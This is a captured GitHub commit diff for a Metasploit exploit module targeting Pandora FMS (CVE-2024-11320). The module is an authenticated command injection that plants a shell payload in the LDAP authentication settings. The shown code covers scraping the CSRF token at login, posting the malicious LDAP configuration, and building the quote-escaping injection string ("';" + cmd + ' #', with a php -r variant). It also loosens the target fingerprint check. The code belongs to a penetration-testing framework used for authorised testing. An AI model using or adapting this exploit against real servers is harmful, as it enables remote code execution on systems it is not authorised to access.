Skip to content

Commit 2fe0b35

Browse files
committed
update2 based on comments
1 parent 2abde4c commit 2fe0b35

File tree

1 file changed

+18
-13
lines changed

1 file changed

+18
-13
lines changed

modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(info = {})
2020
super(
2121
update_info(
2222
info,
23-
'Name' => 'Pandora FMS preauth command injection leading to RCE via LDAP using default DB password',
23+
'Name' => 'Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password',
2424
'Description' => %q{
2525
Pandora FMS is a monitoring solution that provides full observability for your organization's
2626
technology. This module exploits an command injection vulnerability in the LDAP authentication
@@ -138,13 +138,15 @@ def pandora_login(name, pwd)
138138
'login' => 1
139139
}
140140
})
141-
return false unless res&.code == 200
141+
return unless res&.code == 200
142142

143143
# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
144144
html = res.get_html_document
145145
csrf_code = html.at('input[@id="hidden-csrf_code"]')
146146
vprint_status("csrf_code: #{csrf_code}")
147-
return false if csrf_code.nil? || csrf_code.blank?
147+
return if csrf_code.nil? || csrf_code.blank?
148+
149+
# return if csrf_code&.text.to_s.strip.empty?
148150

149151
# second login POST request using the csrf code
150152
res = send_request_cgi!({
@@ -161,7 +163,7 @@ def pandora_login(name, pwd)
161163
'csrf_code' => csrf_code.attribute_nodes[3]
162164
}
163165
})
164-
return res&.code == 200 && res.body.include?('id="welcome-icon-header"')
166+
return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"')
165167
end
166168

167169
# CVE-2024-11320: Misconfigure LDAP with RCE payload
@@ -178,13 +180,15 @@ def configure_ldap(payload)
178180
'section' => 'auth'
179181
}
180182
})
181-
return false unless res&.code == 200
183+
return unless res&.code == 200
182184

183185
# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
184186
html = res.get_html_document
185187
csrf_code = html.at('input[@id="hidden-csrf_code"]')
186188
vprint_status("csrf_code: #{csrf_code}")
187-
return false if csrf_code.nil? || csrf_code.blank?
189+
return if csrf_code.nil? || csrf_code.blank?
190+
191+
# return if csrf_code&.text.to_s.strip.empty?
188192

189193
# second LDAP POST request using the csrf_code
190194
res = send_request_cgi({
@@ -233,12 +237,13 @@ def configure_ldap(payload)
233237
# CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration
234238
def execute_command(cmd, _opts = {})
235239
# modify php payload to trigger the RCE
236-
if target['Type'] == :php_cmd
237-
php_cmd = cmd.gsub(/'/, '"')
238-
payload = "';php -r " + "\'#{php_cmd}\'" + ' #'
239-
else
240-
payload = "';" + cmd + ' #'
241-
end
240+
# if target['Type'] == :php_cmd
241+
# php_cmd = cmd.gsub(/'/, '"')
242+
# payload = "';php -r " + "\'#{php_cmd}\'" + ' #'
243+
# else
244+
# payload = "';" + cmd + ' #'
245+
# end
246+
payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #"
242247

243248
# misconfigure LDAP settings with RCE payload
244249
# clear cookies and execute dummy login to trigger the LDAP RCE payload
@@ -282,7 +287,7 @@ def check
282287
'uri' => normalize_uri(target_uri.path, 'index.php'),
283288
'keep_cookies' => true
284289
})
285-
unless res&.code == 200 && res.body.include?('PandoraFMS.com')
290+
unless res&.code == 200 && res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS')
286291
return CheckCode::Safe('Target is not a Pandora FMS application.')
287292
end
288293

0 commit comments

Comments
 (0)